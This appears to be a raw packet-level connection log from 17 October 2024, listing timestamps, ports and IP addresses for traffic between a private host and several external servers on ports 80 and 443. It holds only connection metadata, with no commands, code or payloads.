Oct 17, 2024 18:38:55.805902004 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.805943966 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.805959940 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.805991888 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806001902 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806042910 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806075096 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806103945 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806113958 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806138992 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806147099 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806171894 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806204081 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806235075 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806245089 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806265116 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806273937 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806313992 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806346893 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806379080 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806385994 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806415081 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806418896 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806457996 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806490898 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806520939 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806540012 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806554079 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806571960 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806587934 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806638002 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806670904 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806679010 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806710005 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806721926 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806756020 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806788921 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806822062 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806828022 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806855917 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806863070 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806889057 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806926966 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806940079 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806963921 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.806973934 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.806989908 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.807542086 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.807629108 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.845395088 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.845412016 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.845452070 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.845468044 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:55.845514059 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.845571995 CEST	80	49815	185.215.113.103	192.168.2.7
Oct 17, 2024 18:38:55.845617056 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:56.006014109 CEST	49815	80	192.168.2.7	185.215.113.103
Oct 17, 2024 18:38:56.073252916 CEST	80	49890	185.215.113.37	192.168.2.7
Oct 17, 2024 18:38:56.073321104 CEST	49890	80	192.168.2.7	185.215.113.37
Oct 17, 2024 18:38:56.090553045 CEST	49890	80	192.168.2.7	185.215.113.37
Oct 17, 2024 18:38:56.095405102 CEST	80	49890	185.215.113.37	192.168.2.7
Oct 17, 2024 18:38:56.380789042 CEST	80	49890	185.215.113.37	192.168.2.7
Oct 17, 2024 18:38:56.380870104 CEST	49890	80	192.168.2.7	185.215.113.37
Oct 17, 2024 18:38:59.877007008 CEST	49890	80	192.168.2.7	185.215.113.37
Oct 17, 2024 18:39:04.078242064 CEST	49937	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:04.078269005 CEST	443	49937	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:04.079390049 CEST	49937	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:04.084336996 CEST	49937	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:04.084352016 CEST	443	49937	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:04.704803944 CEST	443	49937	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:04.715406895 CEST	443	49937	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:04.798485041 CEST	49937	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:04.809218884 CEST	49937	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:04.809231043 CEST	443	49937	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:04.809385061 CEST	49937	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:04.809530973 CEST	443	49937	35.190.72.216	192.168.2.7
Oct 17, 2024 18:39:04.809587002 CEST	49937	443	192.168.2.7	35.190.72.216
Oct 17, 2024 18:39:05.518459082 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:05.518466949 CEST	443	49948	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:05.518536091 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:05.520045996 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:05.520064116 CEST	443	49948	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:05.696074963 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:05.696115017 CEST	443	49950	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:05.704421997 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:05.706022978 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:05.706039906 CEST	443	49950	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:05.724781990 CEST	49951	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:05.729707003 CEST	80	49951	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:05.729855061 CEST	49951	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:05.730021954 CEST	49951	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:05.734822989 CEST	80	49951	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:05.927443981 CEST	49952	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:05.927484035 CEST	443	49952	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:05.928889990 CEST	49952	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:05.930495024 CEST	49952	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:05.930512905 CEST	443	49952	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.344808102 CEST	49953	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.344845057 CEST	443	49953	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.345441103 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:06.345530033 CEST	443	49954	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:06.345655918 CEST	49953	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.345678091 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:06.347079992 CEST	49953	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.347090960 CEST	443	49953	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.347192049 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:06.347229004 CEST	443	49954	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:06.378002882 CEST	80	49951	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:06.382378101 CEST	49951	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:06.387672901 CEST	80	49951	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:06.393661976 CEST	443	49948	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.394195080 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.394205093 CEST	49951	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:06.394380093 CEST	443	49948	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.396353006 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.400978088 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.400984049 CEST	443	49948	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.401114941 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.401190996 CEST	443	49948	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.401515007 CEST	49948	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.538780928 CEST	49960	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:06.540955067 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:06.540966988 CEST	443	49961	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:06.541444063 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:06.541583061 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:06.541596889 CEST	443	49961	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:06.543622017 CEST	80	49960	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:06.544876099 CEST	49960	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:06.545052052 CEST	49960	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:06.549875975 CEST	80	49960	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:06.555629969 CEST	443	49952	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.555942059 CEST	49952	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.560419083 CEST	49952	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.560426950 CEST	443	49952	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.560631037 CEST	49952	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.560746908 CEST	443	49952	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.560940027 CEST	49962	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.560987949 CEST	443	49962	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.561192036 CEST	49962	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.561264038 CEST	49952	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.562625885 CEST	49962	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:06.562644958 CEST	443	49962	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:06.620070934 CEST	443	49950	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.620080948 CEST	443	49950	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.620452881 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.620817900 CEST	443	49950	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.621356964 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.624984026 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.624994040 CEST	443	49950	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.625133991 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:06.625189066 CEST	443	49950	172.217.16.142	192.168.2.7
Oct 17, 2024 18:39:06.627842903 CEST	49950	443	192.168.2.7	172.217.16.142
Oct 17, 2024 18:39:07.056458950 CEST	49963	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:07.061579943 CEST	80	49963	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:07.073015928 CEST	49963	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:07.073077917 CEST	49963	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:07.077939034 CEST	80	49963	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:07.139163971 CEST	80	49960	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:07.162781954 CEST	443	49961	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.165929079 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.169205904 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.169214010 CEST	443	49961	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.169536114 CEST	443	49961	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.171412945 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.171536922 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.171562910 CEST	443	49961	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.171931028 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.171968937 CEST	443	49964	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.172106981 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.172106981 CEST	49961	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.172146082 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.172297955 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.172314882 CEST	443	49964	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.177026033 CEST	443	49962	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.177093983 CEST	49962	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.182424068 CEST	49962	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.182439089 CEST	443	49962	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.182497978 CEST	49962	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.182636023 CEST	443	49962	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.182713985 CEST	49962	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.210858107 CEST	49960	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:07.364125967 CEST	443	49954	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:07.368726969 CEST	443	49953	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.374855042 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:07.375690937 CEST	49953	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.377790928 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:07.377805948 CEST	443	49954	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:07.378127098 CEST	443	49954	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:07.381309032 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:07.381386042 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:07.381469965 CEST	443	49954	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:07.383454084 CEST	49953	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.383470058 CEST	443	49953	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.383543968 CEST	49953	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.383645058 CEST	443	49953	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.383913040 CEST	49966	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.383951902 CEST	443	49966	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.384002924 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:07.384017944 CEST	49954	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:07.384030104 CEST	49953	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.384131908 CEST	49966	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.385488033 CEST	49966	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:07.385500908 CEST	443	49966	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:07.687334061 CEST	80	49963	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:07.747056961 CEST	49963	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:07.797962904 CEST	443	49964	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.798068047 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.801666975 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.801676035 CEST	443	49964	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.801913977 CEST	443	49964	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.804802895 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.804894924 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:07.804939985 CEST	443	49964	34.160.144.191	192.168.2.7
Oct 17, 2024 18:39:07.807919979 CEST	49964	443	192.168.2.7	34.160.144.191
Oct 17, 2024 18:39:08.029834986 CEST	443	49966	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.029901981 CEST	49966	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.106693029 CEST	49966	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.106712103 CEST	443	49966	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.106822968 CEST	49966	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.107011080 CEST	443	49966	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.107074976 CEST	49966	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.168065071 CEST	49960	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.168093920 CEST	49963	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.173453093 CEST	80	49960	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:08.173501015 CEST	80	49963	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:08.176294088 CEST	49960	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.176307917 CEST	49963	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.340692997 CEST	49975	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.340728998 CEST	443	49975	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.341960907 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.343163967 CEST	49975	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.344671011 CEST	49975	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.344686031 CEST	443	49975	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.348226070 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:08.351445913 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.351701975 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.356498003 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:08.416731119 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.421859026 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:08.425542116 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.425671101 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:08.430722952 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:08.958154917 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:08.971883059 CEST	443	49975	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.971960068 CEST	49975	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.977597952 CEST	49975	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.977622032 CEST	443	49975	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.977730036 CEST	49975	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.977794886 CEST	443	49975	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.978162050 CEST	49979	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.978205919 CEST	49975	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.978207111 CEST	443	49979	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:08.978290081 CEST	49979	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.979693890 CEST	49979	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:08.979711056 CEST	443	49979	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:09.006650925 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:09.040688992 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:09.106867075 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:09.615514994 CEST	443	49979	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:09.615629911 CEST	49979	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:09.631411076 CEST	49979	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:09.631427050 CEST	443	49979	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:09.631537914 CEST	49979	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:09.632205963 CEST	443	49979	34.117.188.166	192.168.2.7
Oct 17, 2024 18:39:09.632345915 CEST	49979	443	192.168.2.7	34.117.188.166
Oct 17, 2024 18:39:12.680942059 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:12.681900024 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:12.685817003 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:12.686888933 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:12.713237047 CEST	50000	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:12.713268042 CEST	443	50000	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:12.713726044 CEST	50000	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:12.725425005 CEST	50000	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:12.725438118 CEST	443	50000	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:12.725860119 CEST	50001	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:12.725867987 CEST	443	50001	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:12.726007938 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:12.726032019 CEST	443	50002	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:12.726499081 CEST	50001	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:12.726546049 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:12.728740931 CEST	50001	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:12.728750944 CEST	443	50001	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:12.728842974 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:12.728854895 CEST	443	50002	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:12.807507992 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:12.810714960 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:12.864475012 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:12.864548922 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:13.377444029 CEST	443	50002	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:13.377537012 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:13.380819082 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:13.380832911 CEST	443	50002	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:13.381109953 CEST	443	50002	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:13.383748055 CEST	443	50000	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:13.383842945 CEST	50000	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:13.385727882 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:13.385997057 CEST	443	50002	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:13.386060953 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:13.386070967 CEST	443	50002	35.244.181.201	192.168.2.7
Oct 17, 2024 18:39:13.386101961 CEST	50002	443	192.168.2.7	35.244.181.201
Oct 17, 2024 18:39:13.388878107 CEST	50000	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:13.388890028 CEST	443	50000	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:13.388991117 CEST	50000	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:13.389159918 CEST	443	50000	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:13.389219999 CEST	50000	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:13.394655943 CEST	443	50001	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:13.394752026 CEST	50001	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:13.399159908 CEST	50001	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:13.399173021 CEST	443	50001	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:13.399226904 CEST	50001	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:13.399358034 CEST	443	50001	34.107.243.93	192.168.2.7
Oct 17, 2024 18:39:13.399616957 CEST	50001	443	192.168.2.7	34.107.243.93
Oct 17, 2024 18:39:16.729825974 CEST	50016	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:16.729883909 CEST	443	50016	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:16.730986118 CEST	50016	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:16.733479023 CEST	50016	443	192.168.2.7	34.149.100.209
Oct 17, 2024 18:39:16.733516932 CEST	443	50016	34.149.100.209	192.168.2.7
Oct 17, 2024 18:39:16.966603994 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:16.967293978 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:16.971637011 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:16.972320080 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:16.978312969 CEST	50018	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:16.978369951 CEST	443	50018	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:16.981060982 CEST	50018	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:16.982548952 CEST	50018	443	192.168.2.7	34.120.208.123
Oct 17, 2024 18:39:16.982587099 CEST	443	50018	34.120.208.123	192.168.2.7
Oct 17, 2024 18:39:17.094355106 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:17.096410990 CEST	80	49977	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:17.138972044 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:17.139138937 CEST	49977	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:17.357734919 CEST	49976	80	192.168.2.7	34.107.221.82
Oct 17, 2024 18:39:17.362790108 CEST	80	49976	34.107.221.82	192.168.2.7
Oct 17, 2024 18:39:17.373399019 CEST	443	50016	34.149.100.209	192.168.2.7
